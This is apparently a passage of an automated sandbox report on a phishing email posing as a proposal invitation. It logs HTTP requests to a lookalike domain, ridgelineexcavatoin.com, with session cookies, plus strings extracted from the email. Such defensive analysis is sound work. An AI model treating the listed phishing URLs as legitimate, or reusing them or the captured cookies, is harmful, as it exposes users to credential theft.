Source: global traffic	HTTP traffic detected: GET /boot/8a55860f2cae358e560aa5f55856c7c166218b25540ff HTTP/1.1Host: ridgelineexcavatoin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
Source: global traffic	HTTP traffic detected: GET /js/8a55860f2cae358e560aa5f55856c7c166218b2554100 HTTP/1.1Host: ridgelineexcavatoin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
Source: global traffic	HTTP traffic detected: GET /onboarding/smskillreader.txt HTTP/1.1Host: armmf.adobe.comConnection: keep-aliveAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1Host: ridgelineexcavatoin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: ridgelineexcavatoin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1Host: ridgelineexcavatoin.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
Source: global traffic	HTTP traffic detected: GET /APP-8a55860f2cae358e560aa5f55856c7c166218b27293e0/8a55860f2cae358e560aa5f55856c7c166218b27293e1 HTTP/1.1Host: ridgelineexcavatoin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
Source: global traffic	HTTP traffic detected: GET /o/8a55860f2cae358e560aa5f55856c7c166218b2729408 HTTP/1.1Host: ridgelineexcavatoin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
Source: global traffic	HTTP traffic detected: GET /ASSETS/img/m_.svg HTTP/1.1Host: ridgelineexcavatoin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
Source: global traffic	HTTP traffic detected: GET /ASSETS/img/sig-op.svg HTTP/1.1Host: ridgelineexcavatoin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
Source: global traffic	HTTP traffic detected: GET /x/8a55860f2cae358e560aa5f55856c7c166218b27293e6 HTTP/1.1Host: ridgelineexcavatoin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
Source: global traffic	HTTP traffic detected: GET /ASSETS/img/m_.svg HTTP/1.1Host: ridgelineexcavatoin.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
Source: global traffic	HTTP traffic detected: GET /ASSETS/img/sig-op.svg HTTP/1.1Host: ridgelineexcavatoin.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
Source: global traffic	HTTP traffic detected: GET /o/8a55860f2cae358e560aa5f55856c7c166218b2729408 HTTP/1.1Host: ridgelineexcavatoin.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
Source: global traffic	HTTP traffic detected: GET /x/8a55860f2cae358e560aa5f55856c7c166218b27293e6 HTTP/1.1Host: ridgelineexcavatoin.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ZxUvEM5FEX8LxNm&MD=x58mt9eX HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.pipebending.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /styles/vendor.css HTTP/1.1Host: www.pipebending.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/css,/;q=0.1Referer: http://www.pipebending.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /styles/145ac2e7.app.css HTTP/1.1Host: www.pipebending.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/css,/;q=0.1Referer: http://www.pipebending.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/1c7ae453.vendor.js HTTP/1.1Host: www.pipebending.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Referer: http://www.pipebending.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/82c74ff8.scripts.js HTTP/1.1Host: www.pipebending.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Referer: http://www.pipebending.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /views/common/header.tpl.html HTTP/1.1Host: www.pipebending.comConnection: keep-aliveAccept: application/json, text/plain, /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Referer: http://www.pipebending.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /views/common/content.tpl.html HTTP/1.1Host: www.pipebending.comConnection: keep-aliveAccept: application/json, text/plain, /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Referer: http://www.pipebending.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /views/common/footer.tpl.html HTTP/1.1Host: www.pipebending.comConnection: keep-aliveAccept: application/json, text/plain, /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Referer: http://www.pipebending.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/background/home.jpg HTTP/1.1Host: www.pipebending.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://www.pipebending.com/styles/145ac2e7.app.cssAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/logo.jpg HTTP/1.1Host: www.pipebending.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://www.pipebending.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/arrow-right.png HTTP/1.1Host: www.pipebending.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://www.pipebending.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/background/ICPDF.gif HTTP/1.1Host: www.pipebending.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://www.pipebending.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /styles/fonts/UniveConObl.woff HTTP/1.1Host: www.pipebending.comConnection: keep-aliveOrigin: http://www.pipebending.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Referer: http://www.pipebending.com/styles/145ac2e7.app.cssAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /styles/fonts/UniveCon.woff HTTP/1.1Host: www.pipebending.comConnection: keep-aliveOrigin: http://www.pipebending.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Referer: http://www.pipebending.com/styles/145ac2e7.app.cssAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /styles/fonts/UniveConBolObl.woff HTTP/1.1Host: www.pipebending.comConnection: keep-aliveOrigin: http://www.pipebending.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Referer: http://www.pipebending.com/styles/145ac2e7.app.cssAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /views/common/header.tpl.html HTTP/1.1Host: www.pipebending.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /views/common/footer.tpl.html HTTP/1.1Host: www.pipebending.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /views/common/content.tpl.html HTTP/1.1Host: www.pipebending.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/arrow-right.png HTTP/1.1Host: www.pipebending.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/background/ICPDF.gif HTTP/1.1Host: www.pipebending.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/logo.jpg HTTP/1.1Host: www.pipebending.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/background/home.jpg HTTP/1.1Host: www.pipebending.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.pipebending.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://www.pipebending.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1292361290.1713474322; _gat_gtag_UA_122036208_1=1; _gat_gtag_UA_208681781_1=1; _ga_R4TNS2YF4N=GS1.1.1713474322.1.0.1713474322.0.0.0; _ga=GA1.1.900391258.1713474322
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.pipebending.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1292361290.1713474322; _gat_gtag_UA_122036208_1=1; _gat_gtag_UA_208681781_1=1; _ga_R4TNS2YF4N=GS1.1.1713474322.1.0.1713474322.0.0.0; _ga=GA1.1.900391258.1713474322

Source: Proposal Invitation_ Proposal is Due by the EOB May 15.eml	String found in binary or memory: /www.facebook.com/pages/category/Metal-Supplier/Benpro-Technologies-1026633= equals www.facebook.com (Facebook)
Source: Proposal Invitation_ Proposal is Due by the EOB May 15.eml	String found in binary or memory: /www.linkedin.com/company/benpro-technologies" style=3D"color: rgb(0, 0, 0)= equals www.linkedin.com (Linkedin)
Source: Proposal Invitation_ Proposal is Due by the EOB May 15.eml	String found in binary or memory: /www.youtube.com/channel/UCg3BMGqYnreiavgk1ljplOw/?guided_help_flow=3D5" st= equals www.youtube.com (Youtube)
Source: ~WRS{5460741B-FA72-4FC7-810C-3D1D00A59832}.tmp.0.dr	String found in binary or memory: HYPERLINK "https://www.facebook.com/pages/category/Metal-Supplier/Benpro-Technologies-102663338291710/" equals www.facebook.com (Facebook)
Source: ~WRS{5460741B-FA72-4FC7-810C-3D1D00A59832}.tmp.0.dr	String found in binary or memory: HYPERLINK "https://www.linkedin.com/company/benpro-technologies" equals www.linkedin.com (Linkedin)
